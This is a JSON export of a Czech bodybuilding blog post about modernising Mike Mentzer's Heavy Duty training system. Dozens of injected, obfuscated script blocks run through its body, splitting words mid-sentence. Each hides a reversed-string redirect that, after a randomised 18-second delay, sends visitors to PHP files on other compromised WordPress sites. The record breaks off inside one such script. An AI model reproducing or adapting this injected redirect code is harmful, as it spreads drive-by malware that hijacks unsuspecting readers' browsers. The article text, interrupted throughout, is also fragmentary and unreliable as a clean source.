{"id":250,"date":"2020-03-31T21:29:28","date_gmt":"2020-03-31T21:29:28","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=250"},"modified":"2020-03-31T21:29:28","modified_gmt":"2020-03-31T21:29:28","slug":"mike-mentzer-v-modernim-svete","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2020\/03\/31\/mike-mentzer-v-modernim-svete\/","title":{"rendered":"MIKE MENTZER V MODERN\u00cdM SV\u011aT\u011a"},"content":{"rendered":"<p><strong>P\u016eVODN\u00cd MENTZER\u016eV TR\u00c9NINKOV\u00dd SYST\u00c9M SE DO\u010cKAL SV\u00c9HO UPGRADU A NYN\u00cd SPL\u0147UJE PO\u017dADAVKY MODERN\u00cdCH SPORTOVC\u016e.<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-256 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/menzter1-160x300.jpg\" alt=\"\" width=\"259\" height=\"486\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/menzter1-160x300.jpg 160w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/menzter1.jpg 508w\" sizes=\"auto, (max-width: 259px) 100vw, 259px\" \/><\/p>\n<p>V\u011bt\u0161inu sv\u00e9ho dosp\u011bl\u00e9ho \u017eivota str\u00e1vil Mike Mentzer (1951-2001) pilov\u00e1n\u00edm sv\u00e9ho Heavy Duty tr\u00e9ninkov\u00e9ho syst\u00e9mu, kter\u00fd mu slou\u017eil k\u00a0jedin\u00e9mu c\u00edli. Velk\u00fd kritik kulturistick\u00fdch me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tod, nositel titulu Mr. Universe a tv\u016frce syst\u00e9mu HD nev\u011bnoval pozornost velikosti z\u00e1t\u011b\u017ee, ne\u0161lo mu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik o s\u00edlu. V\u0161e, co v\u00a0tr\u00e9ninku podnikal, bylo ur\u010deno k\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, aby nabral co nejv\u00edce svalov\u00e9 hmoty. Tolik, kolik mu jeho genetick\u00fd potenci\u00e1l umo\u017en\u00ed. A <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to b\u011bhem nejkrat\u0161\u00ed mo\u017en\u00e9 doby a p\u0159i vynalo\u017een\u00ed co nejmen\u0161\u00edho mno\u017estv\u00ed pr\u00e1ce.<\/p>\n<p>Mentzer byl neor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>todoxn\u00ed a nenapodobiteln\u00fd jak ve sv\u00fdch viz\u00edch, tak v\u00a0praktick\u00e9m tr\u00e9ninku. Z\u00e1sadn\u011b se stav\u011bl proti tzv. \u201ev\u011bdc\u016fm\u201c, kte\u0159\u00ed byli v\u00a0jeho o\u010d\u00edch jen fale\u0161n\u00fdmi proroky nejr\u016fzn\u011bj\u0161\u00edch spekulac\u00ed, nikoliv v\u0161ak skute\u010dn\u00e9 v\u011bdeck\u00e9 pr\u00e1ce. Vystupoval proti kulturistick\u00fdm hodnost\u00e1\u0159\u016fm, kte\u0159\u00ed nebyli schopn\u00ed docenit kvalitu jeho svalov\u00e9ho rozvoje, obvinil je, \u017ee pr\u00e1v\u011b kv\u016fli nim nez\u00edskal v\u00a0roce 1980 sv\u016fj zaslou\u017een\u00fd titul Mr. Olympia. Nesouhlasil s\u00a0kulturisty, kte\u0159\u00ed razili my\u0161lenku, \u017ee v\u00edce znamen\u00e1 l\u00e9pe.<\/p>\n<p>\u0158\u00edci, zda my\u0161lenka tr\u00e9ninku o n\u00edzk\u00e9m objemu, je funk\u010dn\u00ed \u010di nikoliv, nen\u00ed v\u016fbec jednoduch\u00e9. Bezpo\u010det spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f se zap\u0159\u00edsah\u00e1, \u017ee Mentzerova me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toda pat\u0159\u00ed k\u00a0nejlep\u0161\u00edm, zat\u00edmco jin\u00ed ji zatracuj\u00ed. Co jeden na Mentzerov\u011b tr\u00e9ninkov\u00e9 filosofii obdivuje, <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to druh\u00fd kritizuje. Ka\u017edop\u00e1dn\u011b se ale najdou tac\u00ed, kte\u0159\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to syst\u00e9mu cvi\u010den\u00ed vd\u011b\u010d\u00ed za sv\u016fj objem i symetrii. Cvi\u010den\u00ed na b\u00e1zi Heavy Duty se jim prost\u011b vyplatilo. Je ale mo\u017en\u00e9, aby ta<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to technika vyhov\u011bla i dne\u0161n\u00edm, modern\u00edm spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016fm, kte\u0159\u00ed cht\u011bj\u00ed nabrat svalovou hmotu, ale sou\u010dasn\u011b jim jde o <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, aby <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to byla hmota pln\u011b funk\u010dn\u00ed?<\/p>\n<p>T\u00edm se dost\u00e1v\u00e1me k\u00a0na\u0161\u00ed p\u0159evratn\u00e9 my\u0161lence. Co kdyby n\u011bkdo spojil pot\u0159eby modern\u00edch spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f s\u00a0ideami Mentzerov\u00fdch \u010dasem prov\u011b\u0159en\u00fdch strategi\u00ed, aby posl\u00e9ze vytvo\u0159il post-modern\u00ed Mentzer\u016fv tr\u00e9ninkov\u00fd syst\u00e9m pro lidi, kte\u0159\u00ed cht\u011bj\u00ed nabrat svaly? Kdy\u017e jsme hledali, kdo by byl n\u011b\u010deho takov\u00e9ho schopen, zjistili jsme, \u017ee \u0161anci by m\u011bl z\u0159ejm\u011b jen jedin\u00fd \u010dlov\u011bk \u2013 Andrew Speer, spoluzakladatel SoHo Strength Lab v\u00a0New Yorku. Ten m\u00e1 na sv\u00e9m kont\u011b \u010dtvrt s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolet\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00edch zku\u0161enost\u00ed (je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 